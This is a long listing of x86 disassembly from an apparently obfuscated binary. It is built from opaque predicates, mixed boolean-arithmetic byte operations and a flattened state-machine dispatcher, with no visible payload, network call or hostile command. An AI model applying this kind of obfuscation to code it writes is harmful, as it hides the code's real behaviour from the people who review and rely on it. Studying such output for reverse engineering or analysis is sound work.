xor dl, 0
mov ah, dl
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
xor al, 0xff
xor al, 0
and al, 0
mov byte [ebp - 0x56f], al
mov dl, 1
xor dl, 0
and dl, 1
mov cl, 1
xor cl, 1
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
mov ah, dl
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov bl, 1
xor bl, 1
and bl, 1
mov ch, 1
xor ch, 1
mov al, ch
and al, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bl, al
mov al, byte [ebp - 0x56f]
or ah, ch
xor bl, ah
xor bl, 0xff
mov ch, 1
xor ch, 0
mov ah, 1
xor ah, 0
or bl, ch
or ah, 0
xor bl, 0xff
and bl, ah
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov byte [ebp - 0x56b], dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x56c], ah
mov ch, cl
xor ch, 0xff
mov dl, 1
xor dl, 1
and ah, 0xff
and al, dl
mov byte [ebp - 0x56e], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x56d], al
mov al, byte [ebp - 0x56e]
and cl, dl
or ah, al
mov al, byte [ebp - 0x56d]
or al, cl
mov cl, byte [ebp - 0x56c]
xor ah, al
mov al, byte [ebp - 0x56b]
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov dl, bl
xor dl, 0xff
mov byte [ebp - 0x568], dl
mov ch, al
xor ch, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and bl, cl
mov byte [ebp - 0x56a], bl
mov bl, ch
and bl, 0
and al, cl
mov byte [ebp - 0x569], al
mov al, byte [ebp - 0x56a]
or dl, al
mov al, byte [ebp - 0x569]
or bl, al
mov al, byte [ebp - 0x568]
xor dl, bl
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x547], al
mov cl, bh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bh
and al, dl
or cl, al
mov ch, 1
xor ch, 1
and ch, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, ah
or al, dl
xor ch, al
mov ah, 1
xor ah, 1
and ah, 1
mov bl, 1
xor bl, 1
mov dl, bl
and dl, 1
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or ah, dl
mov dl, byte [ebp - 0x547]
or al, bl
xor ah, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, ah
and cl, 1
xor ah, 1
or cl, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, dh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, dh
or cl, ah
xor al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dl, ah
or cl, dl
mov dl, 1
xor dl, 0
and dl, 1
mov ah, 1
xor ah, 1
and ah, 0
or dl, ah
mov byte [ebp - 0x564], dl
mov dl, al
xor dl, 0xff
mov dh, cl
xor dh, 0xff
mov ah, 1
xor ah, 1
mov bl, dl
and bl, 0xff
and al, ah
mov byte [ebp - 0x567], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x566], al
mov al, byte [ebp - 0x567]
and cl, ah
or bl, al
mov al, byte [ebp - 0x566]
or al, cl
mov cl, byte [ebp - 0x565]
xor bl, al
mov al, byte [ebp - 0x564]
or dl, dh
xor dl, 0xff
or ah, 1
and dl, ah
or bl, dl
mov dh, al
and dh, 0
xor al, 0
or dh, al
mov ah, bl
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
and bl, al
mov dl, 1
xor dl, 1
and dl, 0xff
and al, 1
or ah, bl
mov bl, byte [ebp - 0x547]
or dl, al
mov al, byte [ebp - 0x54d]
xor ah, dl
xor ah, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 0
or ah, dh
or dl, 0
xor ah, 0xff
and ah, dl
mov dh, 1
xor dh, 1
and dh, 1
mov dl, 1
xor dl, 1
and dl, 1
or dh, dl
xor al, 0xff
mov dl, dh
and dl, al
mov al, byte [ebp - 0x54d]
xor dh, 0xff
and al, dh
mov dh, byte [ebp - 0x54d]
or dl, al
xor dh, 0xff
mov al, dl
xor al, dh
and al, dl
mov byte [ebp - 0x562], al
mov dl, bl
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and bl, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov al, cl
xor al, 0xff
mov dh, dl
and dh, al
xor dl, 0xff
mov al, cl
and al, dl
or dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, ah
xor al, 0xff
mov cl, ch
xor cl, al
and cl, ch
mov al, ch
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and ch, bl
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, bl
or al, ch
or dl, ah
xor al, dl
mov dl, cl
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 1
mov bl, dl
and bl, 0xff
mov byte [ebp - 0x563], bl
and cl, ah
mov bl, ch
and bl, 0xff
and al, ah
mov byte [ebp - 0x561], al
mov al, byte [ebp - 0x563]
or al, cl
mov cl, byte [ebp - 0x562]
mov byte [ebp - 0x560], al
mov al, byte [ebp - 0x561]
or bl, al
mov al, byte [ebp - 0x560]
xor al, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or al, dl
mov byte [ebp - 0x553], al
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ah, al
mov byte [ebp - 0x55d], ah
mov dl, dh
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
mov bl, dh
and bl, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dl, bl
or al, ch
xor dl, al
mov byte [ebp - 0x55b], dl
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov byte [ebp - 0x559], ch
mov bl, 1
xor bl, 1
mov al, ah
xor al, bl
and al, ah
xor cl, 0xff
mov bl, ch
xor bl, 0xff
mov ah, 1
xor ah, 1
or cl, bl
or ah, 1
xor cl, 0xff
and cl, ah
xor dl, 0xff
mov bl, 1
xor bl, 1
mov ah, 1
xor ah, 1
or dl, bl
or ah, 1
xor dl, 0xff
and dl, ah
xor dh, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dh, ch
or ah, 0
xor dh, 0xff
and dh, ah
mov ch, al
xor ch, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x55c], ah
mov bl, 1
xor bl, 1
mov ah, ch
and ah, 0xff
and al, bl
mov byte [ebp - 0x55f], al
mov al, byte [ebp - 0x55c]
and al, 0xff
mov byte [ebp - 0x55e], al
mov al, byte [ebp - 0x55f]
and cl, bl
or ah, al
mov al, byte [ebp - 0x55e]
or al, cl
mov cl, byte [ebp - 0x55d]
xor ah, al
mov al, byte [ebp - 0x55c]
or ch, al
mov al, byte [ebp - 0x55b]
xor ch, 0xff
or bl, 1
and ch, bl
or ah, ch
mov ch, dl
and ch, dh
xor dl, dh
or ch, dl
mov dh, ah
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov bl, ah
and bl, 0xff
mov byte [ebp - 0x55a], bl
and cl, ch
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x558], al
mov al, byte [ebp - 0x55a]
or al, cl
mov cl, byte [ebp - 0x559]
mov byte [ebp - 0x557], al
mov al, byte [ebp - 0x558]
or bl, al
mov al, byte [ebp - 0x557]
xor al, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or al, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and al, ch
or ah, al
mov ch, 1
xor ch, 1
mov byte [ebp - 0x554], ch
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
and ch, 0xff
mov al, dh
and al, 1
mov byte [ebp - 0x556], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x555], al
mov al, byte [ebp - 0x556]
and cl, dh
or ch, al
mov al, byte [ebp - 0x555]
or al, cl
mov cl, byte [ebp - 0x554]
xor ch, al
mov al, byte [ebp - 0x553]
or cl, bl
xor cl, 0xff
or dh, 1
and cl, dh
or ch, cl
xor ah, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 0
or ah, ch
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov bl, al
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov dl, al
and dl, ah
or bl, dl
xor bl, 0xff
xor bl, 0
and bl, 0
mov dl, 1
xor dl, 0
and dl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dl, dh
or ah, ch
xor dl, ah
xor al, 0xff
mov ch, dl
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
mov byte [ebp - 0x552], al
mov ch, cl
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
mov al, cl
and al, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or ch, al
mov al, byte [ebp - 0x552]
or ah, dh
xor ch, ah
mov dh, 1
xor dh, 0
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0x54f], ah
xor dl, 0xff
mov dh, cl
xor dh, dl
and dh, cl
mov cl, bl
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
and bl, ah
mov byte [ebp - 0x551], bl
mov bl, ch
and bl, 0xff
and al, ah
mov byte [ebp - 0x550], al
mov al, byte [ebp - 0x551]
or dl, al
mov al, byte [ebp - 0x550]
or bl, al
mov al, byte [ebp - 0x54f]
xor dl, bl
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x54e], cl
mov ch, dh
xor ch, 0xff
mov ah, 1
xor ah, 0
and cl, 0
and al, ah
mov bl, ch
and bl, 0
and dh, ah
or cl, al
mov al, byte [ebp - 0x54e]
or bl, dh
mov dh, byte [ebp - 0x54d]
xor cl, bl
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or ch, dl
or al, cl
xor ch, al
mov cl, bh
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ah, bh
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov byte [ebp - 0x54c], ah
mov dh, cl
xor dh, 0xff
mov bl, 1
xor bl, 1
mov al, 1
xor al, 1
or dh, bl
or al, 1
xor dh, 0xff
and dh, al
xor bh, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or bh, ah
or al, 1
xor bh, 0xff
and bh, al
mov al, dl
xor al, 0xff
mov bl, 1
xor bl, 1
mov ah, 1
xor ah, 0
or al, bl
mov bl, byte [ebp - 0x54c]
or ah, 0
xor al, 0xff
and al, ah
mov ah, byte [ebp - 0x54d]
xor bl, 0xff
xor ah, bl
mov bl, byte [ebp - 0x54d]
and ah, bl
mov bl, dh
and bl, bh
xor dh, bh
or bl, dh
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov bh, bl
xor bh, 0xff
and bh, 1
mov al, 1
xor al, 1
and bl, al
mov ah, dh
xor ah, 0xff
and ah, 0xff
and dh, al
mov al, byte [ebp - 0x54c]
or bh, bl
or ah, dh
xor bh, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov bl, ah
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bl, ah
or cl, dl
xor bl, cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x549], cl
mov ah, al
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov dh, dl
and dh, 1
mov byte [ebp - 0x54b], dh
mov dh, ah
and dh, 0xff
and al, dl
mov byte [ebp - 0x54a], al
mov al, byte [ebp - 0x54b]
or cl, al
mov al, byte [ebp - 0x54a]
or dh, al
mov al, byte [ebp - 0x549]
xor cl, dh
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 1
mov ah, al
and ah, 0xff
and bh, cl
mov dh, dl
and dh, 0xff
and bl, cl
or ah, bh
or dh, bl
xor ah, dh
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or cl, al
mov dl, 1
xor dl, 1
xor cl, 0xff
mov al, 1
xor al, 1
or dl, cl
or al, 1
xor dl, 0xff
and dl, al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
xor ah, 0xff
mov cl, bl
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
xor al, 0xff
mov dh, 1
xor dh, 1
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov dh, 1
xor dh, 1
xor bl, 0xff
mov cl, 1
xor cl, 0
or dh, bl
or cl, 0
xor dh, 0xff
and dh, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov byte [ebp - 0x548], cl
mov cl, al
xor cl, 0xff
mov bl, dh
xor bl, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
and al, ah
mov bh, bl
and bh, 0xff
and dh, ah
or dl, al
mov al, byte [ebp - 0x548]
or bh, dh
mov dh, byte [ebp - 0x547]
xor dl, bh
or cl, bl
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov ah, al
xor ah, 0xff
mov cl, dl
and cl, ah
xor dl, 0xff
and al, dl
or cl, al
mov ah, 1
xor ah, 1
and ah, 0
mov dl, 1
xor dl, 0
mov bl, dl
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, bl
or al, dl
xor ah, al
mov bl, dh
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bl, dh
or al, dl
xor bl, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
mov byte [ebp - 0x543], al
mov dl, 1
xor dl, 1
mov bh, ah
xor bh, dl
and bh, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0x546], al
mov dh, bl
xor dh, 0xff
mov dl, 1
xor dl, 1
mov al, 1
xor al, 0
or dh, dl
mov dl, byte [ebp - 0x547]
or al, 0
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0x543]
mov byte [ebp - 0x545], dh
xor dl, 0xff
xor al, 0xff
mov dh, 1
xor dh, 0
or dl, al
mov al, byte [ebp - 0x546]
or dh, 0
xor dl, 0xff
and dl, dh
mov dh, bh
and dh, al
xor bh, al
mov al, byte [ebp - 0x545]
or dh, bh
mov bh, al
and bh, dl
xor al, dl
or bh, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
and dh, al
mov byte [ebp - 0x544], dh
mov dh, bh
xor dh, 0xff
and dh, 0
and bh, al
mov al, byte [ebp - 0x544]
or dl, al
mov al, byte [ebp - 0x543]
or dh, bh
xor dl, dh
mov dh, ah
and dh, bl
xor ah, bl
or dh, ah
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and dh, bl
or ah, dh
mov dh, al
and dh, 1
xor al, 1
or dh, al
xor ah, 0xff
xor dh, 0xff
mov al, 1
xor al, 0
or ah, dh
or al, 0
xor ah, 0xff
and ah, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov al, cl
xor al, 0xff
mov ah, dl
and ah, al
xor dl, 0xff
mov al, cl
and al, dl
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa2233e30
mov ecx, 0x20b06e8a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf4]
xor esi, esi
sub esi, eax
add esi, 0
xor edx, edx
sub edx, 0
xor eax, eax
sub eax, esi
add edx, eax
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, eax
add edx, 0
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x1c0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1c4]
mov dword [eax], ecx
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
xor esi, esi
sub esi, 0xbc2f7254
sub esi, 0x9f0c472d
add esi, 0xbc2f7254
mov edx, ecx
add edx, 0x71d66cc3
add edx, esi
sub edx, 0x71d66cc3
xor esi, esi
sub esi, 0x30b1b69c
add edx, esi
sub edx, 0x77af85e6
sub edx, 1
add edx, 0x77af85e6
sub edx, 0xca6fe5fb
add edx, 0x30b1b69c
add edx, 0xca6fe5fb
xor esi, esi
sub esi, 0x9f0c472d
add esi, 0
add edx, 0x312e11ce
sub edx, esi
sub edx, 0x312e11ce
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ah
mov ch, ah
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or ch, al
mov al, cl
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
mov dh, cl
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0
and ch, bl
or al, dh
or dl, ch
xor al, dl
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov dl, 1
xor dl, 1
or al, ch
or dl, 1
xor al, 0xff
and al, dl
mov ch, cl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov dl, cl
and dl, dh
or ch, dl
mov bh, ah
xor bh, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 1
or bh, ch
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and ah, ch
or dl, ah
xor dl, 0xff
mov bl, cl
xor bl, dl
and bl, cl
mov dl, bh
xor dl, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or cl, bh
or dh, bl
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x47c8a149
mov ecx, 0xa6a443b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x198]
mov dword [eax], 0
mov eax, dword [0x5e6bac]
mov ecx, dword [0x5e6ba8]
xor esi, esi
sub esi, 0x80c25e17
sub esi, eax
add esi, 0x80c25e17
xor edx, edx
sub edx, 0x867a0b7b
add edx, 0
sub esi, 0x9a1b2aa3
add esi, edx
add esi, 0x9a1b2aa3
mov edx, 0x5383f0fa
add edx, 0
sub edx, esi
sub edx, 0x5383f0fa
xor esi, esi
sub esi, 1
add esi, 0
add edx, 0x1c499d7e
add edx, esi
sub edx, 0x1c499d7e
add edx, 0x4ffd4f4a
add edx, 0x625a641d
sub edx, 0x4ffd4f4a
sub edx, 0xe4c17f2
sub edx, 0x867a0b7b
add edx, 0xe4c17f2
sub edx, 0x12d6b85f
sub edx, 0x625a641d
add edx, 0x12d6b85f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl dl
mov ah, dl
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
mov dh, dl
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov cl, al
xor cl, 0xff
mov dh, ah
and dh, cl
xor ah, 0xff
mov cl, al
and cl, ah
or dh, cl
xor dh, 0xff
mov ah, al
xor ah, 0xff
mov cl, 1
xor cl, 1
or dh, ah
or cl, 1
xor dh, 0xff
and dh, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or ch, cl
mov cl, 1
xor cl, 0
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov bl, 1
xor bl, 0
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
or bl, ah
mov ah, bl
xor ah, 0xff
mov ch, al
xor ch, ah
and ch, al
mov al, dl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
mov ah, dl
and ah, bh
or al, ah
xor al, 0xff
mov bh, 1
xor bh, 0
mov ah, 1
xor ah, 1
or al, bh
or ah, 1
xor al, 0xff
and al, ah
xor bl, 0xff
mov ah, dl
xor ah, bl
and ah, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or ch, dl
or al, cl
xor ch, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov ah, dh
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov byte [ebp - 0x67d], cl
mov ah, ch
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov bl, ch
and bl, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, bl
or al, dl
xor ah, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov bl, 1
xor bl, 0
mov al, cl
xor al, bl
and al, cl
mov bl, dl
xor bl, 0xff
mov cl, dh
xor cl, bl
and cl, dh
mov dh, ah
xor dh, 0xff
mov bh, 1
xor bh, 0
mov bl, 1
xor bl, 1
or dh, bh
or bl, 1
xor dh, 0xff
and dh, bl
mov byte [ebp - 0x67f], dh
mov dh, dl
xor dh, 0xff
mov bl, ch
xor bl, dh
and bl, ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x67e], dh
mov bh, 1
xor bh, 1
mov dh, ch
and dh, 0xff
and al, bh
mov byte [ebp - 0x681], al
mov al, byte [ebp - 0x67e]
and al, 0xff
mov byte [ebp - 0x680], al
mov al, byte [ebp - 0x681]
and cl, bh
or dh, al
mov al, byte [ebp - 0x680]
or al, cl
mov cl, byte [ebp - 0x67f]
xor dh, al
mov al, byte [ebp - 0x67e]
or ch, al
mov al, byte [ebp - 0x67d]
xor ch, 0xff
or bh, 1
and ch, bh
or dh, ch
mov ch, cl
and ch, bl
xor cl, bl
or ch, cl
mov bl, dh
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
and dh, bh
mov cl, ch
xor cl, 0xff
and cl, 0xff
and ch, bh
or bl, dh
or cl, ch
xor bl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, dl
and cl, 0
xor dl, 0
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x678d219d
mov ecx, 0x125430ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov dword [ebp - 0x1ec], 0x77576af1
jmp 0x48b820
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
mov esi, 0xd9248754
add esi, 0
add esi, 0x6f5c4afa
sub esi, 0xd9248754
sub esi, 0xed2fa974
sub esi, 1
add esi, 0xed2fa974
xor edx, edx
sub edx, 0x6f5c4afa
add esi, edx
xor edi, edi
sub edi, 0x6d74cbc4
mov edx, ecx
sub edx, edi
sub edx, 0x94739c7a
add edx, esi
add edx, 0x94739c7a
xor esi, esi
sub esi, 0x6d74cbc4
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl al
mov byte [ebp - 0x76d], al
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or dl, al
mov bh, 1
xor bh, 0
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov al, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov dl, 1
xor dl, 0
or al, ch
or dl, 0
xor al, 0xff
and al, dl
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or dl, bl
or ch, dh
xor dl, ch
xor dl, 0xff
mov dh, 1
xor dh, 0
mov ch, 1
xor ch, 1
or dl, dh
or ch, 1
xor dl, 0xff
and dl, ch
mov byte [ebp - 0x778], dl
mov bl, 1
xor bl, 1
xor ah, 0xff
mov dl, 1
xor dl, 0
or bl, ah
or dl, 0
xor bl, 0xff
and bl, dl
mov dl, bh
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov ch, dl
and ch, 0
and bh, ah
mov byte [ebp - 0x77a], bh
mov bh, dh
and bh, 0
and al, ah
mov byte [ebp - 0x779], al
mov al, byte [ebp - 0x77a]
or ch, al
mov al, byte [ebp - 0x779]
or bh, al
mov al, byte [ebp - 0x778]
xor ch, bh
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or ch, dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x777], ah
mov dh, bl
xor dh, 0xff
mov dl, 1
xor dl, 0
and ah, 0
and al, dl
mov bh, dh
and bh, 0
and bl, dl
or ah, al
mov al, byte [ebp - 0x777]
or bh, bl
mov bl, byte [ebp - 0x76d]
xor ah, bh
or al, dh
xor al, 0xff
or dl, 0
and al, dl
or ah, al
mov al, ch
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or al, ch
or dl, ah
xor al, dl
mov byte [ebp - 0x749], al
mov dl, bl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, bl
and al, ah
or dl, al
mov bh, 1
xor bh, 1
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
